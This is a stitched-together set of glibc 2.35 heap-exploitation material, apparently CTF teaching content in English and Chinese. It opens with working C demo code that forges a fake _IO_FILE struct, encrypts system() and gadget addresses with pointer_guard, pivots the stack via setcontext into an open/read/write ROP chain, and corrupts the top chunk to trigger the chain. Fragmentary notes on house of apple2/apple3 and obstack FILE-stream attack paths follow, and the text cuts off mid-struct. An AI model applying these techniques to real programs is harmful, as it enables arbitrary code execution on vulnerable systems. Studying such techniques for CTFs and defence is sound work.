size_t* top_chunk_size = (size_t*)((char*)fake_file_struct + 0x108); printf("\033[32mThrough pwndbg, we can see that the size of top chunk is at fake_file_struct + 0x108 = %p\033[0m\n", top_chunk_size); printf("\033[32m通过pwndbg我们可以看到top chunk的大小保存在fake_file_struct + 0x108 = %p\033[0m\n", top_chunk_size); printf("\033[32mThe value of top_chunk->size is: %#zx\033[0m\n", *top_chunk_size); printf("\033[32mtop chunk的大小top_chunk->size为: %#zx\033[0m\n", *top_chunk_size); puts("\033[32mIn function sysmalloc, there is a check for page alignment of top chunk: \n\033[0m"); puts("\033[32m在函数sysmalloc中,有一个检查top chunk页对齐的代码片段: \033[0m"); puts("\033[33m(line 2617, /malloc/malloc.c)\033[0m"); puts("\033[34m assert ((old_top == initial_top (av) && old_size == 0) ||\n" " ((unsigned long) (old_size) >= MINSIZE &&\n" " prev_inuse (old_top) &&\n" " ((unsigned long) old_end & (pagesize - 1)) == 0));\n\033[0m"); puts("\033[32mThe function assert here in malloc.c is a bit different from that in other file.\033[0m"); puts("\033[32m这个malloc.c中的assert函数与其他文件中的函数不太一样。\033[0m"); puts("\033[32mBecause in malloc.c there is a #define statement: \033[0m"); puts("\033[32m因为在malloc.c中有一个#define语句: \n\033[0m"); puts("\033[33m(line 292, /malloc/malloc.c)\033[0m"); puts("\033[34m# define __assert_fail(assertion, file, line, function)\t\t\t\\\n" "\t __malloc_assert(assertion, file, line, function)\n\033[0m"); puts("\033[32mSo that if the assertion in malloc.c failed, it will call function __malloc_assert.\033[0m"); puts("\033[32m所以如果这个检查失败了,那么它就会调用__malloc_assert.\033[0m");
puts("\033[32mThe content of function __malloc_assert is: \033[0m"); puts("\033[32m__malloc_assert函数的内容为: \033[0m"); puts("\033[33m(line 297, /malloc/malloc.c)\033[0m"); puts("\033[34mstatic void\n" "__malloc_assert (const char *assertion, const char *file, unsigned int line,\n" "\t\t const char *function)\n" "{\n" " (void) __fxprintf (NULL, \"%s%s%s:%u: %s%sAssertion `%s' failed.\\n\",\n" "\t\t __progname, __progname[0] ? \": \" : \"\",\n" "\t\t file, line,\n" "\t\t function ? function : \"\", function ? \": \" : \"\",\n" "\t\t assertion);\n" " fflush (stderr);\n" " abort ();\n" "}\033[0m\n");
puts("\033[32mWhile in function __fxprintf, it will utilize stderr to output something, and that is our chance.\033[0m"); puts("\033[32m函数__fxprintf会利用stderr来输出错误信息,这就是我们利用的机会。\033[0m"); puts("\033[32mThrough forging fake _IO_FILE struct, we can turn to anywhere that can be executed.\033[0m"); puts("\033[32m通过伪造_IO_FILE结构体,我们可以执行任意地址的代码。\033[0m"); puts("\033[32mThe easiest way in CTF is turning the execution flow into one gadget.\033[0m"); puts("\033[32m在CTF比赛中最简单的方法就是将执行流转到one_gadget中。\033[0m"); puts("\033[32mBut one gadgets in libc 2.35 all have many constraints, which we need to pay attention to.\033[0m"); puts("\033[32m但glibc 2.35版本的one gadget有很多的限制条件需要注意。\033[0m"); puts("\033[32mMoreover, many problems today have sandboxes, where you cannot use the syscall EXECVE.\033[0m"); puts("\033[32m另外,现在的很多赛题都有沙箱,我们可能不能调用execve的系统调用。\033[0m"); puts("\033[32mSo stack pivoting may be the most common step in exploitation.\033[0m"); puts("\033[32m因此栈迁移就是本方法利用中较为常用的手段了。\n\033[0m");
puts("\033[32mIn function __vxprintf_internal, which is called indirectly by __fxprintf, it will call function _IO_cookie_read: \033[0m"); puts("\033[32m__fxprintf函数会间接调用到__vxprintf_internal函数,后者会调用_IO_cookie_read函数: \033[0m"); puts("\033[34m<__vfprintf_internal+280> call qword ptr [r12 + 0x38]\033[0m"); puts("\033[32mThe 'r12' here is (_IO_cookie_jumps + 0x38), which is the value of *vtable we wrote in before.\033[0m"); puts("\033[32m这里的r12寄存器的值就是(_IO_cookie_jumps + 0x38), 这就是我们前面写的*vtable值。\033[0m"); puts("\033[32mAs you can see in struct _IO_cookies_jump: \033[0m"); puts("\033[32m就如_IO_cookies_jump中代码展示的这样: \033[0m"); puts("\033[33m(line 111, /libio/iofopncook.c)\033[0m"); puts("\033[34mstatic const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {\n" " JUMP_INIT_DUMMY,\n" " JUMP_INIT(finish, _IO_file_finish),\n" " JUMP_INIT(overflow, _IO_file_overflow),\n" " JUMP_INIT(underflow, _IO_file_underflow),\n" " JUMP_INIT(uflow, _IO_default_uflow),\n" " JUMP_INIT(pbackfail, _IO_default_pbackfail),\n" " JUMP_INIT(xsputn, _IO_file_xsputn),\n" " JUMP_INIT(xsgetn, _IO_default_xsgetn),\n" " JUMP_INIT(seekoff, _IO_cookie_seekoff),\n" " JUMP_INIT(seekpos, _IO_default_seekpos),\n" " JUMP_INIT(setbuf, _IO_file_setbuf),\n" " JUMP_INIT(sync, _IO_file_sync),\n" " JUMP_INIT(doallocate, _IO_file_doallocate),\n" " JUMP_INIT(read, _IO_cookie_read),\n" " JUMP_INIT(write, _IO_cookie_write),\n" " JUMP_INIT(seek, _IO_cookie_seek),\n" " JUMP_INIT(close, _IO_cookie_close),\n" " JUMP_INIT(stat, _IO_default_stat),\n" " JUMP_INIT(showmanyc, _IO_default_showmanyc),\n" " JUMP_INIT(imbue, _IO_default_imbue),\n" "};\n\033[0m"); puts("\033[31m(_IO_cookie_jumps + 0x38) \033[32mpoints to \033[35m_IO_file_xsputn\033[32m.\033[0m"); puts("\033[31m(_IO_cookie_jumps + 0x38) \033[32m指向的是\033[35m_IO_file_xsputn\033[32m.\033[0m"); puts("\033[31m(_IO_cookie_jumps + 0x38 + 0x38) \033[32mpoints to \033[35m_IO_cookie_read\033[32m.\033[0m"); puts("\033[31m(_IO_cookie_jumps + 0x38 + 0x38) \033[32m指向的是\033[35m_IO_cookie_read\033[32m.\033[0m"); puts("\033[32mSo here we let it call _IO_cookie_read function.\033[0m"); puts("\033[32m所以这里我们让程序调用_IO_cookie_read函数.\n\033[0m");
puts("\033[32mThen let's have a look at _IO_cookie_read function.\033[0m"); puts("\033[32m让我们看一下_IO_cookie_read函数的内容。\033[0m"); puts("\033[34m<_IO_cookie_read>:\tendbr64 \n" " <_IO_cookie_read+4>:\tmov rax,QWORD PTR [rdi+0xe8]\n" " <_IO_cookie_read+11>:\tror rax,0x11\n" " <_IO_cookie_read+15>:\txor rax,QWORD PTR fs:0x30\n" " <_IO_cookie_read+24>:\ttest rax,rax\n" " <_IO_cookie_read+27>:\tje <_IO_cookie_read+38>\n" " <_IO_cookie_read+29>:\tmov rdi,QWORD PTR [rdi+0xe0]\n" " <_IO_cookie_read+36>:\t\033[31mjmp rax\033[34m\n" " <_IO_cookie_read+38>:\tmov rax,0xffffffffffffffff\n" " <_IO_cookie_read+45>:\tret\033[0m\n"); puts("\033[32mAs you can see, it directly calls rax, and 'rdi' here is actually our fake _IO_FILE_plus address.\033[0m"); puts("\033[32m可以看到,它直接call rax,这里的rdi实际上就是假的_IO_FILE_plus结构体的地址。\033[0m"); puts("\033[32mSo that we can write any executable address into [rdi+0xe8].\033[0m"); puts("\033[32m因此我们可以将任意可执行的地址写入到[rdi+0xe8].\033[0m"); puts("\033[32mHowever, don't forget some instructions in the middle.\033[0m"); puts("\033[32m但是,别忘了中间还有几条指令。\033[0m"); puts("\033[32mHere, you can see a 'ror' instruction and a 'xor' instruction that change the value of rax.\033[0m"); puts("\033[32m这里你可以看到有一个ror指令和一个xor指令,这些指令会修改rax的值。\033[0m"); puts("\033[32mThat is actually a kind of protection strategy used in high versions of glibc ---- encrypting the address.\033[0m"); puts("\033[32m这实际上是高版本glibc的一种保护方式——将地址进行简单加密。\033[0m"); puts("\033[32mHere, these two instruction is decrypting rax, first ror 11 bits, and second xor fs:0x30h, which is our \033[31mpointer_guard.\033[0m"); puts("\033[32m这里的这两条指令实际上是在解密rax,首先循环右移0x11位,然后异或fs:0x30h,这实际上就是\033[31mpointer_guard.\033[0m"); puts("\033[32mNow you know that why we need the value of pointer_guard, it's important for us to encrypt executable address.\033[0m"); puts("\033[32m现在你应该知道为什么我们需要修改pointer_guard的值了,它对于地址的加密过程很重要。\033[0m"); puts("\033[32mThe encryption algorithm is easy to get: first xor pointer_guard, and second rol 0x11 bits.\033[0m"); puts("\033[32m加密方式很好推出来:首先异或pointer_guard,然后循环左移0x11位。\n\033[0m");
puts("\033[32mPay attention to the instruction before 'jmp rax': mov rdi, QWORD PTR [rdi+0xe0]\033[0m"); puts("\033[32m注意'jmp rax'之前的指令: mov rdi, QWORD PTR [rdi+0xe0]\n\033[0m"); puts("\033[32mIf there is not any sandbox, we can let rax=system() address, and [rdi+0xe0]='/bin/sh' address.\033[0m"); puts("\033[32m如果这里没有沙箱,我们可以让rax等于system函数地址,[rdi+0xe0]等于字符串/bin/sh的地址\033[0m"); puts("\033[32mElse, you can also fill it with 'pcop' to trigger stack pivoting and open, read, write flag file.\033[0m"); puts("\033[32m否则,我们也可以填充pcop的地址来触发栈迁移,然后打开、读、写flag文件。\n\033[0m");
if(mode == 1){ puts("\033[35mYou chose the getshell mode.\033[0m"); puts("\033[35m你选择了getshell模式。\033[0m"); puts("\033[32mSo that we'll write '/bin/sh' address into [rdi+0xe0] and encrypted system() address into [rdi+0xe8]\033[0m"); puts("\033[32m所以我们在[rdi+0xe0]处写入字符串/bin/sh的地址,将加密后的system函数地址写入[rdi+0xe8]处。\033[0m");
char** sh_addr = (char**)((char*)fake_file_struct + 0xe0); printf("\033[32mThe address of string '/bin/sh' should be written in: \033[31m%p\n\033[0m", sh_addr); printf("\033[32m字符串'/bin/sh'的地址应该被写到: \033[31m%p\n\033[0m", sh_addr); *sh_addr = sh; printf("\033[32m指针解引用的值为: \033[31m%p\033[0m\n", *sh_addr);
size_t* system_addr = (size_t*)((char*)fake_file_struct + 0xe8); printf("\033[32mThe address of function system() should be written in: \033[31m%p\n\033[0m", system_addr); printf("\033[32m函数system()的地址应该被写到: \033[31m%p\n\033[0m", system_addr); *system_addr = (size_t)system; printf("\033[32mNow the value of the pointer is: \033[31m%#zx\033[0m\n", *system_addr); printf("\033[32m指针解引用的值为: \033[31m%#zx\033[0m\n", *system_addr); printf("\033[32mThen we need to let it xor with pointer_guard: \033[33m%#zx.\n\033[0m", *pointer_guard_address); printf("\033[32m然后我们需要让这个值异或pointer_guard: \033[33m%#zx.\n\033[0m", *pointer_guard_address); *system_addr ^= *pointer_guard_address; printf("\033[32mAfter xor, the value of [rdi+0xe8] is: \033[35m%#zx\n\033[0m", *system_addr); printf("\033[32m异或之后[rdi+0xe8]的值为: \033[35m%#zx\n\033[0m", *system_addr); puts("\033[32mThen we need to let it rol 0x11 bits.\n\033[0m"); puts("\033[32m然后我们循环左移0x11位:\n\033[0m"); *system_addr = (*system_addr << 0x11) + (*system_addr >> 0x2f); printf("\033[32mAfter rol, the value of [rdi+0xe8] is: \033[35m%#zx\n\033[0m\n", *system_addr); printf("\033[32m循环左移后,[rdi+0xe8]的值为: \033[35m%#zx\n\033[0m\n", *system_addr); }elseif(mode == 2){ puts("\033[32mYou chose the orw mode.\033[0m"); puts("\033[32m你选择了orw模式。\033[0m"); puts("\033[1;31mIMPORTANT: You must make sure that there is a flag file in this directory, or we'll be unable to read.\033[0m"); puts("\033[1;31m注意:你必须保证当前文件夹下有一个flag文件,否则该程序将无法读取。\n\033[0m");
puts("\033[32mIn glibc 2.35, we usually use setcontext() function to trigger stack pivoting, but with a little difference from lower versions.\033[0m"); puts("\033[32m在glibc 2.35中,我们一般使用setcontext函数进行栈迁移,但与低版本的glibc的利用方式有一些小差别。\033[0m"); puts("\033[32mIn lower version, the instruction that changes the rsp is: 'mov rsp, [rdi+xx]'.\033[0m"); puts("\033[32m在低版本glibc中,修改rsp的指令为: 'mov rsp, [rdi+xx]'.\033[0m"); puts("\033[32mThe rdi here is our [fake _IO_FILE_plus struct + 0xe0].\033[0m"); puts("\033[32m这里的rdi是[fake _IO_FILE_plus struct + 0xe0].\033[0m"); puts("\033[32mBut in glibc 2.35, the instruction was changed to: \033[31m'mov rsp, [rdx+xx]'\033[32m.\033[0m"); puts("\033[32m但是在glibc 2.35中,这条指令被修改为: \033[31m'mov rsp, [rdx+xx]'\033[32m.\033[0m"); puts("\033[32mSo that we can't change the value of rsp only by writing forged data in our fake _IO_FILE_plus struct.\033[0m"); puts("\033[32m所以我们不能仅通过将假的数据写入到假的_IO_FILE_plus结构体而修改rsp的值。\033[0m"); puts("\033[32mHowever, we still have our way to exploit. It's called pcop, which is just a unique gadget."); puts("\033[32m但我们依然能够进行漏洞利用,需要一个pcop,这是一个特殊的gadget。\n");
puts("\033[32mTry to use this command below in the terminal: \033[0m"); puts("\033[32m可以尝试在终端运行以下命令:: \033[0m"); puts("\033[1;34mobjdump -d /lib/x86_64-linux-gnu/libc.so.6 -M intel | grep '1675b'\033[0m"); puts("\033[32mYou can see a gadget in offset \033[31m0x1675b0\033[32m: \033[0m\n"); puts("\033[32m你可以在偏移\033[31m0x1675b0\033[32m处看到有一个gadget: \033[0m\n"); puts("\033[34m 1675b0: 48 8b 57 08 mov rdx,QWORD PTR [rdi+0x8]\n" " 1675b4: 48 89 04 24 mov QWORD PTR [rsp],rax\n" " 1675b8: ff 52 20 call QWORD PTR [rdx+0x20]\033[0m\n"); puts("\033[32mIt seems that we can use the value of [rdi+0x8] to change rdx to any value as we like.\033[0m"); puts("\033[32m我们似乎可以使用[rdi+0x8]的值去修改rdx的值为任意值。\033[0m"); puts("\033[32mAnd then we can change the rip into [rdx+0x20].\033[0m"); puts("\033[32m然后我们就可以将rip修改到[rdx+0x20]。\033[0m"); puts("\033[32mWe can change rdx to a place that we can control, then write setcontext() address in it to trigger stack pivoting.\033[0m"); puts("\033[32m我们可以将rdx修改到一个我们可以控制的地方,然后将setcontext函数的地址写进去来触发栈迁移。\033[0m"); puts("\033[32mTo keep the environment of heap, we use a space in bss segment to complete this process.\033[0m"); puts("\033[32m为了保持堆环境,我们使用bss段的一块空间来完成这个过程。\033[0m"); printf("\033[32mThe address of bss space is: \033[31m%p\033[32m.\033[0m\n", &space); printf("\033[32mbss对应地址为: \033[31m%p\033[32m.\033[0m\n\n", &space);
puts("\033[32mWe let [rdi+0xe0] = bss address, [rdi+0xe8] = pcop address.\033[0m"); puts("\033[32m我们让[rdi+0xe0] = bss的地址, [rdi+0xe8] = pcop的地址.\033[0m"); size_t* bss_address = (size_t*)((char*)fake_file_struct + 0xe0); printf("\033[32mThe address of bss should be written in: \033[31m%p\n\033[0m", bss_address); printf("\033[32m这个bss的地址应该被写入: \033[31m%p\n\033[0m", bss_address); *bss_address = (size_t)(&space); printf("\033[32mThe value of the pointer is: \033[31m%#zx\033[0m\n", *bss_address); printf("\033[32m这个指针的值现在为: \033[31m%#zx\033[0m\n", *bss_address);
size_t* pcop = (size_t*)((char*)fake_file_struct + 0xe8); printf("\033[32mThe address of pcop should be written in: \033[31m%p\n\033[0m", pcop); printf("\033[32mpcop的地址应该被写入到: \033[31m%p\n\033[0m", pcop); *pcop = (size_t)(libc_base + 0x1675b0); printf("\033[32mThe value of the pointer is: \033[31m%#zx\033[0m\n", *pcop); printf("\033[32m这个指针现在的值为: \033[31m%#zx\033[0m\n", *pcop); puts("\033[32mDon't forget we need to encrypt the pcop value.\033[0m"); puts("\033[32m别忘了我们需要加密pcop的值。\033[0m");
printf("\033[32mThen we need to let it xor with pointer_guard: \033[33m%#zx.\n\033[0m", *pointer_guard_address); printf("\033[32m然后我们需要让pcop与pointer_guard异或: \033[33m%#zx.\n\033[0m", *pointer_guard_address); *pcop ^= *pointer_guard_address; printf("\033[32mAfter xor, the value of [rdi+0xe8] is: \033[35m%#zx\n\033[0m", *pcop); printf("\033[32m异或之后,[rdi+0xe8]的值为: \033[35m%#zx\n\033[0m", *pcop);
puts("\033[32mThen we need to let it rol 0x11 bits.\033[0m"); puts("\033[32m然后我们让它循环左移0x11位。\033[0m"); *pcop = (*pcop << 0x11) + (*pcop >> 0x2f); printf("\033[32mAfter rol, the value of [rdi+0xe8] is: \033[35m%#zx\n\033[0m\n", *pcop); printf("\033[32m循环左移之后,[rdi+0xe8]的值为: \033[35m%#zx\n\033[0m\n", *pcop);
puts("\033[32mNow, we are ready to write something in our bss segment.\033[0m"); puts("\033[32m现在我们准备写一些内容到bss段。\033[0m"); puts("\033[32mNoticing that the first instruction of pcop moves [rdi+0x8] to rdx, while rdi now is address of bss.\033[0m"); puts("\033[32m注意到pcop的第一条指令将[rdi+0x8]的值移动到rdx,而rdi此时的值是bss处的地址。\033[0m"); printf("\033[32mSo that we can write the address of somewhere in bss to [rdi+0x8](%p).\033[0m", &(space[1])); printf("\033[32m所以我们可以将任意地址写到[rdi+0x8](%p)这个bss段中的地址。.\033[0m", &(space[1])); space[1] = (size_t)space; printf("\033[32m[rdi+0x8] now is: \033[31m%#zx\033[32m.\n\033[0m", space[1]); printf("\033[32m[rdi+0x8]现在的值为: \033[31m%#zx\033[32m.\n\033[0m", space[1]);
puts("\033[32mThen we need to write address of setcontext into [rdx+0x20].\033[0m"); puts("\033[32m然后我们需要写setcontext函数的地址到[rdx+0x20]。\033[0m"); puts("\033[32mHave a look at disassembly result of function setcontext: \033[0m"); puts("\033[32m看一下setcontext函数的汇编: \033[0m"); puts("\033[34m.text:0000000000053A6D \033[1;31mmov rsp, [rdx+0A0h]\033[34m\n" ".text:0000000000053A74 mov rbx, [rdx+80h]\n" ".text:0000000000053A7B mov rbp, [rdx+78h]\n" ".text:0000000000053A7F mov r12, [rdx+48h]\n" ".text:0000000000053A83 mov r13, [rdx+50h]\n" ".text:0000000000053A87 mov r14, [rdx+58h]\n" ".text:0000000000053A8B mov r15, [rdx+60h]\n" ".text:0000000000053A8F test dword ptr fs:48h, 2\n" ".text:0000000000053A9B jz loc_53B56\n" "\t\t\t......\n" ".text:0000000000053B56 \033[1;31mmov rcx, [rdx+0A8h]\033[34m\n" ".text:0000000000053B5D \033[1;31mpush rcx\033[34m\n" ".text:0000000000053B5E mov rsi, [rdx+70h]\n" ".text:0000000000053B62 mov rdi, [rdx+68h]\n" ".text:0000000000053B66 mov rcx, [rdx+98h]\n" ".text:0000000000053B6D mov r8, [rdx+28h]\n" ".text:0000000000053B71 mov r9, [rdx+30h]\n" ".text:0000000000053B75 mov rdx, [rdx+88h]\n" ".text:0000000000053B75 ; } // starts at 53A30\n" ".text:0000000000053B7C ; __unwind {\n" ".text:0000000000053B7C xor eax, eax\n" ".text:0000000000053B7E retn\033[0m");
puts("\033[32mWe let [rdx+0xa0] = bss + 0x100, and let [rdx+0xa8] = some gadget address as the start of our ROP chain.\033[0m"); puts("\033[32m我们让[rdx+0xa0] = bss + 0x100, 让[rdx+0xa8] = 某些gadget的地址作为ROP链的开始。\033[0m"); puts("\033[32mThere are some useful gadgets: \033[0m"); puts("\033[32m这里是一些有用的gadget地址: \033[0m"); size_t poprdi_ret = libc_base + 0x2a3e5; size_t poprsi_ret = libc_base + 0x2be51; size_t poprdx_rbx_ret = libc_base + 0x90529; printf("\033[33mpop rdi ; ret : %#zx\n\033[0m", poprdi_ret); printf("\033[33mpop rsi ; ret : %#zx\n\033[0m", poprsi_ret); printf("\033[33mpop rdx ; pop rbx ; ret : %#zx\n\033[0m", poprdx_rbx_ret); puts("\033[32mHere are some key functions: \033[0m"); puts("\033[32m这里是一些关键函数的地址: \033[0m"); size_t readfunc_addr = (size_t)read; size_t writefunc_addr = (size_t)write; size_t openfunc_addr = (size_t)open; printf("\033[33mopen(): %#zx\n\033[0m", openfunc_addr); printf("\033[33mread(): %#zx\n\033[0m", readfunc_addr); printf("\033[33mwrite(): %#zx\n\033[0m", writefunc_addr);
puts("\033[32mHere is the former part of bss spare space:\033[0m"); puts("\033[32m下面是bss空闲区域前面的一部分:\033[0m"); for(int i=0; i<0x20; i++) printf("\033[1;34m+%#5x\t\t%#18zx\t\t%#18zx\n\033[0m", i * 0x10, space[2*i], space[2*i+1]);
puts("\033[032mThen, we need to \033[31mchange the size of top chunk to make it unaligned, and malloc a big space.\033[0m"); puts("\033[032m然后,我们需要\033[31m修改top chunk的大小来让它不对齐,然后malloc一块大空间。\033[0m"); *top_chunk_size = 0x101; printf("\033[32mThe value of top_chunk->size was changed into: %#zx\033[0m\n", *top_chunk_size); printf("\033[32m现在top_chunk->size的值被修改为: %#zx\033[0m\n", *top_chunk_size);
printf("\033[32mAnd the last step: malloc(0x200) to trigger sysmalloc.\n\033[0m"); printf("\033[32m然后是最后一步:malloc(0x200)触发sysmalloc。\n\033[0m"); malloc(0x200); }
/* Extra data for wide character streams. */ struct_IO_wide_data { wchar_t *_IO_read_ptr; /* Current read pointer */ wchar_t *_IO_read_end; /* End of get area. */ wchar_t *_IO_read_base; /* Start of putback+get area. */ wchar_t *_IO_write_base; /* Start of put area. */ wchar_t *_IO_write_ptr; /* Current put pointer. */ wchar_t *_IO_write_end; /* End of put area. */ wchar_t *_IO_buf_base; /* Start of reserve area. */ wchar_t *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */ wchar_t *_IO_backup_base; /* Pointer to first valid character of backup area */ wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
void _IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a) { /*绕过点 2 */ if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF)) free (f->_wide_data->_IO_buf_base); f->_wide_data->_IO_buf_base = b; f->_wide_data->_IO_buf_end = eb; if (a) f->_flags2 &= ~_IO_FLAGS2_USER_WBUF; else f->_flags2 |= _IO_FLAGS2_USER_WBUF; }
staticwint_t _IO_wstrn_overflow (FILE *fp, wint_t c) { /* When we come to here this means the user supplied buffer is filled. But since we must return the number of characters which would have been written in total we must provide a buffer for further use. We can do this by writing on and on in the overflow buffer in the _IO_wstrnfile structure. */ _IO_wstrnfile *snf = (_IO_wstrnfile *) fp; /*绕过点 1 */ if (fp->_wide_data->_IO_buf_base != snf->overflow_buf) { _IO_wsetb (fp, snf->overflow_buf, snf->overflow_buf + (sizeof (snf->overflow_buf) / sizeof (wchar_t)), 0);
struct_IO_str_fields { /* These members are preserved for ABI compatibility. The glibc implementation always calls malloc/free for user buffers if _IO_USER_BUF or _IO_FLAGS2_USER_WBUF are not set. */ _IO_alloc_type _allocate_buffer_unused; _IO_free_type _free_buffer_unused; };
typedefstruct { _IO_strfile f; /* This is used for the characters which do not fit in the buffer provided by the user. */ wchar_t overflow_buf[64]; } _IO_wstrnfile;
因此控制了 _wide_data 指针就能完成任意地址写。
需要绕过的点
为了能够进入 _IO_wstrn_overflow 函数的 if 判断中,需要满足 fp->_wide_data->_IO_buf_base != snf->overflow_buf 。
struct_IO_wide_data { wchar_t *_IO_read_ptr; /* Current read pointer */ wchar_t *_IO_read_end; /* End of get area. */ wchar_t *_IO_read_base; /* Start of putback+get area. */ wchar_t *_IO_write_base; /* Start of put area. */ wchar_t *_IO_write_ptr; /* Current put pointer. */ wchar_t *_IO_write_end; /* End of put area. */ wchar_t *_IO_buf_base; /* Start of reserve area. */ wchar_t *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */ wchar_t *_IO_backup_base; /* Pointer to first valid character of backup area */ wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */ __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct_IO_codecvt _codecvt; wchar_t _shortbuf[1]; conststruct_IO_jump_t *_wide_vtable; // 偏移0xe0 };
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end) return *fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt; /* 需要绕过的点 if_2 */ /* Maybe there is something left in the external buffer. */ if (fp->_IO_read_ptr >= fp->_IO_read_end /* No. But maybe the read buffer is not fully set up. */ && _IO_file_underflow_mmap (fp) == EOF) /* Nothing available. _IO_file_underflow_mmap has set the EOF or error flags as appropriate. */ return WEOF;
/* There is more in the external. Convert it. */ read_stop = (constchar *) fp->_IO_read_ptr; /* 需要绕过的点 if_3 */ if (fp->_wide_data->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_wide_data->_IO_save_base != NULL) { free (fp->_wide_data->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } /* 需要调用到这里 */ _IO_wdoallocbuf (fp); } [...] }
off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) { off64_t result; off64_t delta, new_offset; longint count;
/* Short-circuit into a separate function. We don't want to mix any functionality and we don't want to touch anything inside the FILE object. */ if (mode == 0) returndo_ftell_wide (fp);
/* POSIX.1 8.2.3.7 says that after a call the fflush() the file offset of the underlying file must be exact. */ int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr));
如果_wide_data设置不当的话会影响某些利用链的分支走向。但采用默认的_wide_data成员(默认会指向_IO_wide_data_2,除了_wide_vtable外其他成员均默认为0),也并不影响house of apple3的利用。因此,如果能伪造整个FILE结构体,则需要设置合适的_wide_data;如果只能伪部分FILE的成员的话,保持fp->_wide_data为默认地址即可。
/* Information about the number of bytes needed or produced in this step. This helps optimizing the buffer sizes. */ int __min_needed_from; int __max_needed_from; int __min_needed_to; int __max_needed_to;
/* Flag whether this is a stateful encoding or not. */ int __stateful;
void *__data; /* Pointer to step-local data. */ };
struct__gconv_step_data { unsignedchar *__outbuf; /* Output buffer for this step. */ unsignedchar *__outbufend; /* Address of first byte after the output buffer. */
/* Is this the last module in the chain. */ int __flags;
/* Counter for number of invocations of the module function for this descriptor. */ int __invocation_counter;
/* Flag whether this is an internal use of the module (in the mb*towc* and wc*tomb* functions) or regular with iconv(3). */ int __internal_use;
__mbstate_t *__statep; __mbstate_t __state; /* This element must not be used directly by any module; always use STATEP! */ };
house of apple3的利用主要关注三个函数:__libio_codecvt_in、__libio_codecvt_out和__libio_codecvt_length。三个函数的利用点都差不多。
wint_t _IO_wfile_sync (FILE *fp) { ssize_t delta; wint_t retval = 0; /* char* ptr = cur_ptr(); */ // 不要进入这个分支 if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if (_IO_do_flush (fp)) return WEOF; delta = fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end; // 需要进入到这个分支 if (delta != 0) { /* We have to find out how many bytes we have to go back in the external buffer. */ struct _IO_codecvt *cv = fp->_codecvt; off64_t new_pos; // 这里直接返回-1即可 int clen = __libio_codecvt_encoding (cv); if (clen > 0) /* It is easy, a fixed number of input bytes are used for each wide character. */ delta *= clen; else { /* We have to find out the hard way how much to back off. To do this we determine how much input we needed to generate the wide characters up to the current reading position. */ int nread; size_t wnread = (fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_base); fp->_wide_data->_IO_state = fp->_wide_data->_IO_last_state; // 调用到这里 nread = __libio_codecvt_length (cv, &fp->_wide_data->_IO_state, fp->_IO_read_base, fp->_IO_read_end, wnread); // ...... } } }
int __libio_codecvt_encoding (struct _IO_codecvt *codecvt) { /* See whether the encoding is stateful. */ if (codecvt->__cd_in.step->__stateful) return-1; /* Fortunately not. Now determine the input bytes for the conversion necessary for each wide character. */ if (codecvt->__cd_in.step->__min_needed_from != codecvt->__cd_in.step->__max_needed_from) /* Not a constant value. */ return0; return codecvt->__cd_in.step->__min_needed_from; }
staticint _IO_obstack_overflow (FILE *fp, int c) { structobstack *obstack = ((struct _IO_obstack_file *) fp)->obstack; int size; /* Make room for another character. This might as well allocate a new chunk a memory and moves the old contents over. */ assert (c != EOF); // 此处不可控 obstack_1grow (obstack, c); /* Setup the buffer pointers again. */ fp->_IO_write_base = obstack_base (obstack); fp->_IO_write_ptr = obstack_next_free (obstack); size = obstack_room (obstack); fp->_IO_write_end = fp->_IO_write_ptr + size; /* Now allocate the rest of the current chunk. */ obstack_blank_fast (obstack, size); return c; }
staticsize_t _IO_obstack_xsputn (FILE *fp, constvoid *data, size_t n) { structobstack *obstack = ((struct _IO_obstack_file *) fp)->obstack; if (fp->_IO_write_ptr + n > fp->_IO_write_end) { int size; /* We need some more memory. First shrink the buffer to the space we really currently need. */ obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end); /* Now grow for N bytes, and put the data there. */ obstack_grow (obstack, data, n); //执行此函数 /* Setup the buffer pointers again. */ fp->_IO_write_base = obstack_base (obstack); fp->_IO_write_ptr = obstack_next_free (obstack); size = obstack_room (obstack); fp->_IO_write_end = fp->_IO_write_ptr + size; /* Now allocate the rest of the current chunk. */ obstack_blank_fast (obstack, size); } else fp->_IO_write_ptr = __mempcpy (fp->_IO_write_ptr, data, n); return n; }
struct _IO_obstack_file { struct _IO_FILE_plusfile; structobstack *obstack; }; structobstack /* controlcurrentobjectincurrentchunk */ { long chunk_size; /* preferred size to allocate chunks in */ struct _obstack_chunk *chunk;/* address of current struct obstack_chunk */ char *object_base; /* address of object we are building */ char *next_free; /* where to add next char to current object */ char *chunk_limit; /* address of char after current chunk */ union { PTR_INT_TYPE tempint; void *tempptr; } temp; /* Temporary for some macros. */ int alignment_mask; /* Mask of alignment for each object. */ /* These prototypes vary based on 'use_extra_arg', and we use casts to the prototypeless function type in all assignments, but having prototypes here quiets -Wstrict-prototypes. */ struct _obstack_chunk *(*chunkfun) (void *, long); void (*freefun) (void *, struct _obstack_chunk *); void *extra_arg; /* first arg for chunk alloc/dealloc funcs */ unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */ unsigned maybe_empty_object : 1; /* There is a possibility that the current chunk contains a zero-length object. This prevents freeing the chunk if we allocate a bigger chunk to replace it. */ unsigned alloc_failed : 1; /* No longer used, as we now call the failed handler on error, but 